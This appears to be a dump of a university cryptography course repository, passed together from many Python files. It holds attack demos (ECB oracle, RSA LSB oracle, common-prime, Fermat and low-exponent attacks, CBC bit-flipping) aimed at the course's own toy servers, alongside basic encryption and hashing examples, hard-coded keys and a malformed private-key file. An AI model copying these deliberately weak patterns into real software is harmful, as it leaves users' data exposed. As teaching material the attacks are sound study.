-------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from mysecrets import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2021/attacks/ECBvsCBC/ECBvsCBCClient.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.environ['PWNLIB_NOTERM'] = 'True' # Configuration patch to allow pwntools to be run inside of an IDE 3 | os.environ['PWNLIB_SILENT'] = 'True' 4 | 5 | from pwn import * 6 | from math import ceil 7 | from Crypto.Cipher import AES 8 | 9 | from mysecrets import ecb_oracle_key,HOST,PORT 10 | 11 | 12 | 13 | BLOCK_SIZE = AES.block_size 14 | BLOCK_SIZE_HEX = 2*BLOCK_SIZE 15 | 16 | 17 | server = remote(HOST, PORT) 18 | 19 | # stole from the server code... 20 | # message = "This is what I received: " + msg + " -- END OF MESSAGE" 21 | start_str = "This is what I received: " 22 | # print(len(start_str)) 23 | pad_len = ceil(len(start_str)/BLOCK_SIZE)*BLOCK_SIZE-len(start_str) 24 | 25 | msg = "A"*(16*2+pad_len) #2 * AES.block_size + oad_len 26 | print("Sending: "+msg) 27 | server.send(msg) 28 | 29 | 30 | ciphertext = server.recv(1024) 31 | ciphertext_hex = ciphertext.hex() 32 | print(ciphertext_hex) 33 | 34 | server.close() 35 | 36 | for i in range(0,int(len(ciphertext_hex)//BLOCK_SIZE_HEX)): 37 | print(ciphertext_hex[i*BLOCK_SIZE_HEX:(i+1)*BLOCK_SIZE_HEX]) 38 | 39 | 40 | print("Selected mode is", end=' ') 41 | if ciphertext[2*BLOCK_SIZE:3*BLOCK_SIZE] == ciphertext[3*BLOCK_SIZE:4*BLOCK_SIZE] : 42 | print("ECB") 43 | else: 44 | print("CBC") 45 | -------------------------------------------------------------------------------- /AY2021/attacks/MD4Collisions/util.py: -------------------------------------------------------------------------------- 1 | #https://github.com/akalin/cryptopals-python3/blob/master/util.py 2 | def padPKCS7(x, k): 3 | ch = k - (len(x) % k) 4 | return x + bytes([ch] * ch) 5 | 6 | def rrot32(x, n): 7 | x = x & 0xffffffff 8 | return (x >> n) | ((x << (32 - n)) & 0xffffffff) 9 | 10 | def lrot32(x, n): 11 | return rrot32(x, 32 - n) 12 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/LSB_Oracle_Attack/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from mysecrets import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | 12 | 13 | 14 | if __name__ == '__main__': 15 | 16 | p1 = getPrime(20) 17 | p2 = getPrime(20) 18 | p3 = getPrime(20) 19 | print(p1) 20 | print(p2) 21 | print(p3) 22 | 23 | n1 = p1 * p2 24 | n2 = p1 * p3 25 | 26 | print(n1) 27 | print(n2) 28 | 29 | 30 | f1 = egcd(n1,n2)[0] 31 | 32 | f2 = n1 // f1 33 | 34 | f3 = n2 // f1 35 | 36 | 37 | print(f1) 38 | print(f2) 39 | print(f3) 40 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/factorDB.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/fermat_factorization.py: -------------------------------------------------------------------------------- 1 | from gmpy2 import isqrt 2 | from Crypto.Util.number import getPrime 3 | from gmpy2 import next_prime 4 | 5 | 6 | def fermat(n): 7 | print("init") 8 | 9 | a = isqrt(n) 10 | b = a 11 | b2 = pow(a,2) - n 12 | 13 | print("a= "+str(a)) 14 | print("b= " + str(b)) 15 | 16 | print("iterate") 17 | i = 0 18 | 19 | while True: 20 | if b2 == pow(b,2): 21 | print("found at iteration "+str(i)) 22 | break; 23 | else: 24 | a +=1 25 | b2 = pow(a, 2) - n 26 | b = isqrt(b2) 27 | i+=1 28 | print("iteration="+str(i)) 29 | print("a= " + str(a)) 30 | print("b= " + str(b)) 31 | 32 | p = a+b 33 | q = a-b 34 | 35 | return p,q 36 | 37 | if __name__ == '__main__': 38 | 39 | n = 400 40 | delta = getPrime(220) 41 | 42 | 43 | p1 = getPrime(n) 44 | p2 = next_prime(p1+delta) 45 | print(p1) 46 | print(p2) 47 | print(p2-p1) 48 | 49 | n = p1*p2 50 | 51 | p,q = fermat(n) 52 | 53 | print("p = "+str(p)) 54 | print("q = " + str(q)) 55 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/live/1.factorDB_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | 5 | # generate primes 6 | # compute n 7 | n_len = 256 8 | 9 | p1 = getPrime(n_len) 10 | p2 = getPrime(n_len) 11 | 12 | n = p1*p2 13 | 14 | print("p1="+str(p1)) 15 | print("p2="+str(p2)) 16 | print("n ="+str(n)) 17 | 18 | # use factor DB 19 | 20 | fdb = FactorDB(n) 21 | fdb.connect() 22 | res = fdb.get_factor_list() 23 | 24 | print(res) 25 | 26 | 27 | # use yafu instead! 28 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/live/3.common_prime_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from math import gcd 3 | 4 | 5 | if __name__ == '__main__': 6 | n_len = 2048 7 | 8 | p1 = getPrime(n_len) 9 | p2 = getPrime(n_len) 10 | p3 = getPrime(n_len) 11 | 12 | n1 = p1 * p2 13 | n2 = p1 * p3 14 | 15 | 16 | print("p1=" + str(p1)) 17 | print("p2=" + str(p2)) 18 | print("p3=" + str(p3)) 19 | print("n1 =" + str(n1)) 20 | print("n2 =" + str(n2)) 21 | 22 | # attackers: so we only know n1 and n2 (e1=e2=65537) 23 | # gcd 24 | 25 | common_factor = gcd(n1,n2) 26 | print(common_factor) 27 | 28 | f1 = n1 // common_factor 29 | f2 = n2 // common_factor 30 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/live/5.Low_Public_Exponent_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from math import gcd 3 | 4 | 5 | # compute the kth root of n 6 | def iroot(k, n): 7 | u, s = n, n+1 8 | while u < s: 9 | s = u 10 | t = (k-1) * s + n // pow(s, k-1) 11 | u = t // k 12 | return s 13 | 14 | 15 | if __name__ == '__main__': 16 | n_len = 512 17 | 18 | p1 = getPrime(n_len) 19 | p2 = getPrime(n_len) 20 | 21 | print("p1=" + str(p1)) 22 | print("p2=" + str(p2)) 23 | 24 | n = p1 * p2 25 | print("n=" + str(n)) 26 | 27 | e = 3 28 | 29 | phi = (p1-1)*(p2-1) 30 | 31 | if gcd(e,phi) != 1: 32 | raise ValueError 33 | 34 | d = pow(e,-1,phi) 35 | print("d=" + str(d)) 36 | 37 | # generate a message and encrpt it 38 | plaintext = b"message" 39 | p_int = int.from_bytes(plaintext,byteorder='big') 40 | print(p_int) 41 | 42 | c = pow(p_int,e,n) 43 | 44 | #e-th root 45 | dec = iroot(e,c) 46 | print(dec) 47 | print(dec.to_bytes(n_len,byteorder='big').decode()) 48 | 49 | dec2 = pow(c,1/3) 50 | print(dec2) 51 | 52 | 53 | 54 | 55 | 56 | # decipher using cubic root 57 | 58 | -------------------------------------------------------------------------------- /AY2021/attacks/RSA/low_public_exponent.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from math import gcd 3 | 4 | #kth root of the number n 5 | def iroot(k, n): 6 | u, s = n, n+1 7 | while u < s: 8 | s = u 9 | t = (k-1) * s + n // pow(s, k-1) 10 | u = t // k 11 | return s 12 | 13 | if __name__ == '__main__': 14 | 15 | 16 | n_length = 400 17 | 18 | p1 = getPrime(n_length) 19 | p2 = getPrime(n_length) 20 | print(p1) 21 | print(p2) 22 | 23 | n = p1 * p2 24 | print(n) 25 | 26 | e = 3 27 | phi = (p1-1)*(p2-1) 28 | print(phi) 29 | 30 | if gcd(e, phi) != 1: 31 | raise ValueError 32 | 33 | d = pow(e, -1, phi) 34 | print(d) 35 | 36 | pubkey1 = (e,n) 37 | prikey1 = (d,n) 38 | 39 | 40 | m = b'AAAA' 41 | m_int = int.from_bytes(m,byteorder='big') 42 | print(m_int) 43 | 44 | c = pow(m_int,e,n) 45 | print(c) 46 | 47 | d_int = iroot(e,c) 48 | print(d_int) 49 | print(d_int.to_bytes(n_length,byteorder='big').decode()) 50 | 51 | dec = pow(c,1/e) 52 | print(dec) 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /AY2021/attacks/bit_flipping/bf_client.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | from pwn import * 4 | 5 | ADDRESS = "localhost" 6 | PORT = 12342 7 | 8 | q = remote(ADDRESS, PORT) 9 | ciphertext = q.recv(1024) 10 | 11 | old_block = pad(b'admin=0',AES.block_size) 12 | print(old_block) 13 | new_block = pad(b'admin=1',AES.block_size) 14 | print(new_block) 15 | delta = bytes(a ^ b for (a, b) in zip(old_block,new_block)) 16 | print(delta) 17 | 18 | print(len(ciphertext)) 19 | ciphertext_array = bytearray(ciphertext) 20 | for i in range(0,16): 21 | ciphertext_array[i]^=delta[i] 22 | 23 | q.send(ciphertext_array) 24 | y = q.recv(1024).decode('utf-8') 25 | print(y) 26 | q.close() 27 | 28 | 29 | -------------------------------------------------------------------------------- /AY2021/attacks/keystream_reuse/freq_data.py: -------------------------------------------------------------------------------- 1 | CHARACTER_FREQ = { 2 | 'a': 0.0651738, 'b': 0.0124248, 'c': 0.0217339, 'd': 0.0349835, 'e': 0.1041442, 'f': 0.0197881, 'g': 0.0158610, 3 | 'h': 0.0492888, 'i': 0.0558094, 'j': 0.0009033, 'k': 0.0050529, 'l': 0.0331490, 'm': 0.0202124, 'n': 0.0564513, 4 | 'o': 0.0596302, 'p': 0.0137645, 'q': 0.0008606, 'r': 0.0497563, 's': 0.0515760, 't': 0.0729357, 'u': 0.0225134, 5 | 'v': 0.0082903, 'w': 0.0171272, 'x': 0.0013692, 'y': 0.0145984, 'z': 0.0007836, ' ': 0.1918182 6 | } # ',' 7 | -------------------------------------------------------------------------------- /AY2021/py-basics/asymmetric/live/1_rsa_from_primes_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from math import gcd 3 | 4 | N = 1024 5 | # generate primes,n,phi 6 | p1 = getPrime(N) 7 | p2 = getPrime(N) 8 | print("p1 = " + str(p1)) 9 | print("p2 = " + str(p2)) 10 | 11 | n = p1 * p2 #2*1024 12 | phi = (p1-1) * (p2 -1) 13 | print("n = " + str(n)) 14 | print("phi= " + str(phi)) 15 | 16 | 17 | # generate public and private parameters 18 | e = 65537 19 | # CHECK gcd(e,phi) != 1 20 | if gcd(e,phi) != 1: 21 | raise ValueError 22 | exit(1) 23 | print("e = " + str(e)) 24 | 25 | # e * d = 1 mod phi 26 | d = pow(e, -1, phi) 27 | print("d = " + str(d)) 28 | 29 | public_key = (e,n) 30 | private_key = (d,n) 31 | 32 | 33 | # encrypt a message: Alice 34 | message = b'this is a secret message to encrypt' 35 | int_message = int.from_bytes(message, byteorder='big') 36 | print(int_message) 37 | 38 | if int_message >= n: 39 | raise ValueError 40 | exit(1) 41 | 42 | enc = pow(int_message,e,n) 43 | print("enc="+str(enc)) 44 | 45 | 46 | #decrypt a message: BOB 47 | dec = pow(enc,d,n) 48 | print("dec="+str(dec)) 49 | print(dec.to_bytes(2*N,byteorder='big').decode()) 50 | -------------------------------------------------------------------------------- /AY2021/py-basics/asymmetric/live/myrsakey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | Proc-Type: 4,ENCRYPTED 3 | DEK-Info: DES-EDE3-CBC,DCE828F6E4A2C54F 4 | 5 | 3rAvoULZ7ED6NO52Yen5nuKA5mCEhodwpmcCW+QhxwkE7wE5n3CiEJls6v4fgqYT 6 | drOrBqYMiPWvJPYM7qRqCpVcc8H4OEgV1CBSpSAGmsrbHz3XrtqMCYU8AKIU4/sQ 7 | WhzszD4g5DNzxclghtAP6OPW9Pow13v78G49h6QNYMw92A5WvoVqDT6PR3fauvfV 8 | FUn60RlDGuGUyGP1px528VW2EDM7SpgHWoo5h+h83GLVfKuQJbCXpj2wkr44uCbr 9 | i3PbZ0lA1lGjV0BXkpRpZfeKijw8k+ObcbWnAQNmHZFIjCcynsXzeOmfzpCRb7cN 10 | unqFfe5Wm1hTFK+M6pCVvujNaGQ3lc3T0aeLPd4b4524+8EOk2zHBljes6P5hVWo 11 | ax1CjW/6E9qGqXHlRWGj2kVRAco7OKlLvK8UCIu/n0NWD3mtTPTFsE+bEe2+ocIh 12 | z+NVavbNX/yUYgGG9hQo20kToPrnAcP4ARCgJ1vtTM+Kyz0cNx+rRqlO69yDLeqV 13 | 6VmJXm/Lc/CVIPHCmSwKAl8JDUX5cbMEwEX03rI5tYGFL/DxWmq5S++KXInvuxz1 14 | 6Xgck/Zsw5WiBlt6eATdAMG7BC1cpnURNLzAbY58roaxRsABEDMk9mkNHbWKs1f3 15 | SC50xGPOeh3wgFfqv8uWCmgMsqjcV3z7ZH3q4uEpuDBu77jqLWG6seKXLnVKjpmN 16 | cTMKnF99PKD/axGRTCqMhotXKWlgoRBSHr0dNsMlNPVy9WwlIiU3LEA+prTHkIXX 17 | fOUfV3Ja3N80NIRl4SWItlvs9BKFMghehoRkz6XqDnfmDE12JHnwv6QJe5FbzKTk 18 | tB96MeoJvjVb5QlYkwk7tw== 19 | -----END PRIVATE KEY----- -------------------------------------------------------------------------------- /AY2021/py-basics/asymmetric/rsa_encrypt.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY2021/py-basics/asymmetric/rsa_keygen.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/1.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random import get_random_bytes 2 | from Crypto.Cipher import AES 3 | 4 | if __name__ == '__main__': 5 | print(get_random_bytes(AES.block_size)) 6 | 7 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA512 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use to compute the HMAC' 7 | key = get_random_bytes(32) 8 | hmac_gen = HMAC.new(key, digestmod=SHA512) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | 14 | #store message and MAC into a JSON data structure 15 | json_dict = {"message": msg.decode('utf-8'), "MAC":mac} 16 | json_object = json.dumps(json_dict) 17 | print(json_object) 18 | 19 | 20 | 21 | # ASSUMPTION: we have securely exchanged the secret key 22 | 23 | b64 = json.loads(json_object) 24 | hmac_ver = HMAC.new(key, digestmod=SHA512) 25 | hmac_ver.update(b64["message"].encode('utf-8')) 26 | 27 | try: 28 | hmac_ver.hexverify(b64["MAC"]) 29 | print("The message '%s' is authentic" % msg) 30 | except ValueError: 31 | print("The message or the key is wrong") 32 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/12.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/13.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | key = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=key, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | 15 | mac_object = hmac.new(key, msg, hashlib.sha256) 16 | hmac_sha256 = mac_object.hexdigest() 17 | print("HMAC-SHA256 = " + hmac_sha256) 18 | 19 | msg1 = b'This is the new message' 20 | mac_object_1 = hmac.new(key, msg1, hashlib.sha256) 21 | hmac_sha256_1 = mac_object_1.hexdigest() 22 | print("HMAC-SHA256_1 = " + hmac_sha256_1) 23 | 24 | if hmac.compare_digest(mac_object_1.digest(), mac_object.digest()): 25 | print("HMAC correctly verified: messages are identical") 26 | else: 27 | print("HMAC are different") 28 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/14.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'passw0rd!' 5 | salt = get_random_bytes(16) 6 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 7 | print(salt) 8 | 9 | print("This should be secret: " + str(key)) 10 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/2.mysecrets.py: -------------------------------------------------------------------------------- 1 | #file for the constants 2 | 3 | aes128_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 4 | salsa_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 5 | 6 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/3.stream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | from pip._vendor.pyparsing import Char 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | key = get_random_bytes(32) 10 | 11 | cipher = ChaCha20.new(key=key) #nonce is automatically generated 12 | 13 | # alternative code if you want to select the nonce explicitly 14 | # nonce = get_random_bytes(8) 15 | # cipher = ChaCha20.new(nonce=nonce, key=key) 16 | 17 | ciphertext = cipher.encrypt(plaintext) 18 | 19 | print("Ciphertext= "+base64.b64encode(ciphertext).decode('utf-8')) 20 | print("Nonce= "+base64.b64encode(cipher.nonce).decode('utf-8')) 21 | 22 | print(sys.getsizeof(plaintext),end=" ") 23 | print(sys.getsizeof(plaintext)) 24 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/4a.stream-salsa.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | # these are bytes 4 | key = b'deadbeefdeadbeef' 5 | cipher = Salsa20.new(key) 6 | 7 | #incremental encryption with a stream cipher 8 | ciphertext = cipher.encrypt(b'The first part of the secret message. ') 9 | ciphertext += cipher.encrypt(b'The second part of the message.') 10 | #also the ciphertext is made of bytes 11 | 12 | #print the nonce you will have to share 13 | nonce = cipher.nonce 14 | print(nonce) 15 | 16 | # check: decryption works 17 | cipher2 = Salsa20.new(key,nonce) 18 | plaintext = cipher2.decrypt(ciphertext) 19 | print("Decrypted = "+plaintext.decode("utf-8")) 20 | 21 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/4b.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | from mysecrets import salsa_key 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | f_output = open(sys.argv[2],"wb") 15 | 16 | with open(sys.argv[1],"rb") as f_input: 17 | plaintext = f_input.read(1024) 18 | ciphertext = streamcipher.encrypt(plaintext) 19 | f_output.write(ciphertext) 20 | 21 | 22 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 23 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/5.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.Padding import pad, unpad 2 | from Crypto.Cipher import AES 3 | from Crypto.Random import get_random_bytes 4 | 5 | AES256_KEY_SIZE = 32 # forces AES256 6 | 7 | data = b'Unaligned data to cipher' # 24 bytes 8 | key = get_random_bytes(AES256_KEY_SIZE) 9 | iv = get_random_bytes(AES.block_size) 10 | 11 | cipher1 = AES.new(key, AES.MODE_CBC, iv) 12 | padded_data = pad(data,AES.block_size) 13 | print(padded_data) 14 | ct = cipher1.encrypt(padded_data) 15 | 16 | #decryption 17 | cipher2 = AES.new(key, AES.MODE_CBC, iv) 18 | decrypted_data = cipher2.decrypt(ct) 19 | print(decrypted_data) 20 | pt = unpad(decrypted_data, AES.block_size) 21 | assert(data == pt) 22 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/6.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | from mysecrets import aes_key 10 | 11 | iv = get_random_bytes(AES.block_size) 12 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 13 | 14 | f_input = open(sys.argv[1],"rb") 15 | 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/8.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | hash_object = SHA256.new(data=b'First part of the message. ' ) 4 | hash_object.update(b'Second part of the message. ') 5 | hash_object.update(b'Third and last.') 6 | # update in OpenSSL 7 | 8 | print(hash_object.digest()) 9 | print(hash_object.hexdigest()) #finalize 10 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/9.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | 4 | hash_gen = SHA3_256.new() 5 | 6 | with open("./6.sha256_live.py","rb") as f_input: 7 | hash_gen.update(f_input.read(1024)) 8 | 9 | 10 | print(hash_gen.digest()) 11 | print(hash_gen.hexdigest()) 12 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/1.gen_random_key.py: -------------------------------------------------------------------------------- 1 | #import libraries 2 | from Crypto.Random import get_random_bytes 3 | from base64 import b64encode, b64decode 4 | 5 | #generate a random key 6 | random = get_random_bytes(16) 7 | print(random) 8 | print(type(random)) 9 | 10 | #b64encode 11 | print(b64encode(random)) 12 | 13 | #print b64encoded 14 | 15 | 16 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/10.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/11.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | key = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=key, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | 15 | mac_object = hmac.new(key, msg, hashlib.sha256) 16 | hmac_sha256 = mac_object.hexdigest() 17 | print("HMAC-SHA256 = " + hmac_sha256) 18 | 19 | msg1 = b'This is the new message' 20 | mac_object_1 = hmac.new(key, msg1, hashlib.sha256) 21 | hmac_sha256_1 = mac_object_1.hexdigest() 22 | print("HMAC-SHA256_1 = " + hmac_sha256_1) 23 | 24 | if hmac.compare_digest(mac_object_1.digest(), mac_object.digest()): 25 | print("HMAC correctly verified: messages are identical") 26 | else: 27 | print("HMAC are different") 28 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/12.key_derivation_live.py: -------------------------------------------------------------------------------- 1 | 2 | # KDF: takes a password --> generates a good key 3 | # salt: freshness + statistical reasons 4 | # delay attackers: iteration + increase the memory used: no dictionary 5 | 6 | from Crypto.Protocol.KDF import scrypt 7 | from Crypto.Random import get_random_bytes 8 | 9 | password = b'passw0rd!' 10 | salt = get_random_bytes(16) # at least 16 bytes 11 | 12 | key = scrypt(password, salt, 32, N=2**20, r=8, p=1) 13 | 14 | print(key) 15 | 16 | # N=2**14, r=8, p=1 for interactive logins 17 | # N=2**20, r=8, p=1 for generating keys for encryption algorithm (disk encryption, file encryption) 18 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/3.salsa-update_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | from Crypto.Random import get_random_bytes 3 | import base64 4 | 5 | # these are bytes 6 | plaintext = b'This is the new message. ' 7 | plaintext2 = b'This is another message' 8 | 9 | #encrypt with update 10 | key = get_random_bytes(16) 11 | 12 | cipher = Salsa20.new(key=key) #nonce automatically generated 13 | 14 | ciphertext = 